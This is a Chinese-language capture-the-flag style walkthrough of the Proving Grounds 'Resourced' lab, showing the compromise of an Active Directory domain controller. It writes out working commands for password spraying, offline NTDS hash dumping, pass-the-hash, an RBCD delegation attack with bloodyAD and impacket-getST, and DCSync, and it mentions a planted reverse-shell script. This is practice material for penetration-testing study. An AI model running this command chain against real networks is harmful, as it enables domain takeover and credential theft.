PG靶机 - Resourced
一、前期侦察与初始立足
1.1 端口扫描与服务识别
首先,对目标主机 192.168.122.175
执行全面的 Nmap 端口扫描,旨在识别其开放的服务、版本信息及操作系统详情。
sudo nmap 192.168.122.175 -p- --min-rate=5000 -A
图 1: Nmap 扫描结果,是一台域控制器
扫描结果揭示了多个与 Windows 域环境高度相关的服务端口,例如 Kerberos (88)、LDAP (389) 和 SMB (445)。同时,远程桌面服务 (3389) 和 WinRM (5985) 也处于开放状态。
1.2 匿名枚举与凭据发现
在渗透测试初期,尝试利用空会话对目标进行信息枚举。测试结果显示,目标允许空会话认证,这是一个潜在的信息泄露点。
图 2: 成功建立空会话连接
尽管成功建立了空会话,但进一步枚举共享目录的尝试失败,未发现可利用的共享。
图 3: 未发现非标准共享目录
然而,利用该空会话权限,成功枚举出域内的用户列表。在枚举过程中,一个关键的发现是用户 V.Ventz
的描述字段中意外地泄露了其明文密码。
图 4: 域用户枚举结果,V.Ventz 的描述字段泄露了密码
1.3 凭据验证与横向移动
我们将所有枚举到的用户名保存至 users.txt
文件,并使用泄露的密码 HotelCalifornia194!
对所有用户进行密码喷洒攻击 (Password Spraying)。验证结果显示,该密码仅对用户 V.Ventz
有效。
nxc smb 192.168.122.175 -u users.txt -p 'HotelCalifornia194!' --continue-on-success
图 5: 密码喷洒确认 V.Ventz 的凭据有效性
获得 V.Ventz
的有效凭据后,我们重新枚举 SMB 共享目录。这次发现了一个名为 "Password Audit"
的非默认共享目录,这暗示着其中可能包含敏感信息。
图 6: V.Ventz 凭据下枚举到的 “Password Audit” 共享
我们递归下载了该共享目录下的所有文件,共获取到两个关键文件。
图 7: 从共享目录下载文件
经检查,这两个文件分别是 ntds.dit
和 SYSTEM
hive 文件。ntds.dit
是 Active Directory 的核心数据库文件,存储了域内所有对象的信息,包括用户密码的哈希值。而 SYSTEM
文件则包含了启动 ntds.dit
所需的密钥。拥有这两个文件,意味着我们可以离线提取整个域的凭据哈希。
图 8: 确认获取到 ntds.dit 和 SYSTEM 文件
由于文件较大,我们通过手动方式将它们完整下载到本地分析环境。
图 9: 手动下载大文件至本地
二、离线哈希提取与权限提升
2.1 提取域用户哈希
在本地利用 Impacket 工具集中的 secretsdump.py
脚本,结合已获取的 ntds.dit
和 SYSTEM
文件,成功离线提取了域内所有用户的 NTLM 哈希。
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
图 10: secretsdump.py 成功提取所有域用户哈希
2.2 哈希验证与新凭据获取
为了验证提取出的哈希的有效性,我们对用户列表进行了一轮哈希传递 (Pass-the-Hash) 验证。结果确认了用户 L.Livingstone
的 NTLM 哈希 19a3a7550ce8c505c2d46b5e39d6f808
是有效的。
nxc ldap 192.168.122.175 -u users.txt -H hash.txt --continue-on-success
图 11: 验证并获得 L.Livingstone 的有效哈希凭据
进一步测试发现,该用户可以通过 WinRM 服务进行远程登录,这表明 L.Livingstone
很可能是“远程管理用户组” (Remote Management Users) 的成员。
图 12: 确认 L.Livingstone 具有 WinRM 登录权限
利用 evil-winrm
工具和 L.Livingstone
的哈希,我们成功建立了一个远程会话。
图 13: 成功通过 WinRM 远程登录目标主机
三、深入分析与域控权限获取
3.1 信息搜集与提权尝试
在获得的远程会话中,我们在 C:
盘根目录发现了一个名为 output.txt
的文件。文件内容显示系统存在一个定时任务,该任务会执行一个 ps1 脚本。
图 14: output.txt 文件揭示了定时任务信息
然而,检查发现该目录及脚本文件均不存在。这为我们提供了一个明确的提权思路:创建此路径和文件,并植入恶意代码,等待定时任务以高权限身份执行。我们尝试创建该脚本并写入反弹 shell 的 PowerShell 代码。
图 15: 植入用于反弹 Shell 的 PowerShell 脚本
等了好一会儿,脚本并未如预期被执行,似乎是靶机创建时执行的任务。随后,我们尝试了 Kerberoasting 和 AS-REP Roasting 攻击,但均未发现新的可利用信息。
图 16: Kerberoasting 与 AS-REP Roasting 未获成果
3.2 BloodHound 域关系分析
鉴于手动探索受阻,我们转而使用 BloodHound 对复杂的域内权限关系进行深度分析。利用 L.Livingstone
的哈希凭据,我们运行 bloodhound-ce-python
收集器,抓取域 resourced.local
的所有信息。
bloodhound-ce-python -c all -d resourced.local -u 'L.Livingstone' --hashes ':19a3a7550ce8c505c2d46b5e39d6f808' -ns 192.168.158.175 -dc ResourceDC.resourced.local --zip
图 17: 收集 BloodHound 数据
将收集到的数据导入 BloodHound CE 图形界面进行分析,发现了一条关键的攻击路径:用户 L.Livingstone
对域控计算机账户 RESOURCEDC$
拥有 GenericAll
权限。此权限意味着 L.Livingstone
可以完全控制该计算机对象。
图 18: L.Livingstone 对域控计算机账户拥有 GenericAll 权限
3.3 基于资源的约束委派 (RBCD) 攻击
我们首先尝试了基于 GenericAll
权限的影子凭证攻击 (Shadow Credentials),但攻击失败。根据经验判断,这通常是由于域控制器上未启用证书服务所致。因此,我们转向另一种利用此权限的攻击方法:基于资源的约束委派 (Resource-Based Constrained Delegation, RBCD)。
图 19: 影子凭证攻击尝试失败
RBCD 攻击的核心思路是:利用对 RESOURCEDC$
的 GenericAll
权限,修改其 msDS-AllowedToActOnBehalfOfOtherIdentity
属性,从而允许我们控制的另一个账户模拟任意用户来访问 RESOURCEDC$
。
攻击步骤如下:
- 创建新的计算机账户:使用
bloodyAD
创建一个我们完全控制的计算机账户SUMMER$
。 - 设置 RBCD 规则:在目标计算机账户
RESOURCEDC$
上设置规则,将其委派给新创建的SUMMER$
账户。
# 创建计算机账户
bloodyAD -d resourced.local --host 192.168.158.175 -u 'L.Livingstone' --hashes ':19a3a7550ce8c505c2d46b5e39d6f808' add computer 'SUMMER$' 'summer@123'
# 在目标账户上设置RBCD规则
bloodyAD -d resourced.local --host 192.168.158.175 -u 'L.Livingstone' --hashes ':19a3a7550ce8c505c2d46b5e39d6f808' add rbcd 'RESOURCEDC$' 'SUMMER$'
图 20: 成功创建计算机账户并设置 RBCD 规则
3.4 DCSync 获取域管理员哈希
委派关系建立后,我们使用 impacket-getST
,以 SUMMER$
的身份,请求一张可以模拟域管理员 Administrator
访问域控 cifs
服务的服务票据 (ST)。
impacket-getST resourced.local/'SUMMER$':summer@123 -spn cifs/ResourceDC.resourced.local -impersonate administrator -dc-ip 192.168.158.175
图 21: 成功获取模拟 Administrator 的服务票据
将获取到的 Kerberos 票据导入当前会话的环境变量中。然后,利用这张票据进行 Kerberos 认证,执行 DCSync 攻击,最终成功转储出域 Administrator
账户的 NTLM 哈希。
# 将 Kerberos 票据导入环境变量
export KRB5CCNAME=administrator@cifs_ResourceDC.resourced.local@RESOURCED.LOCAL.ccache
# 使用 Kerberos 认证执行 DCSync
impacket-secretsdump -k -no-pass -just-dc-user administrator resourced.local/administrator@ResourceDC.resourced.local
图 22: 成功获取 Administrator 的 NTLM 哈希
3.5 Pass-the-Hash 登录域控
最后,利用获取到的域 Administrator
账户的 NTLM 哈希,通过 Impacket 工具集中的 psexec.py
脚本执行哈希传递 (Pass-the-Hash) 攻击,以 Administrator
身份完全控制域控制器。
impacket-psexec administrator@192.168.158.175 -hashes :8e0efd059433841f73d171c69afdda7c
图 23: 成功通过 Pass-the-Hash 获取域控的 SYSTEM 权限
至此,成功获得了域控制器的最高权限。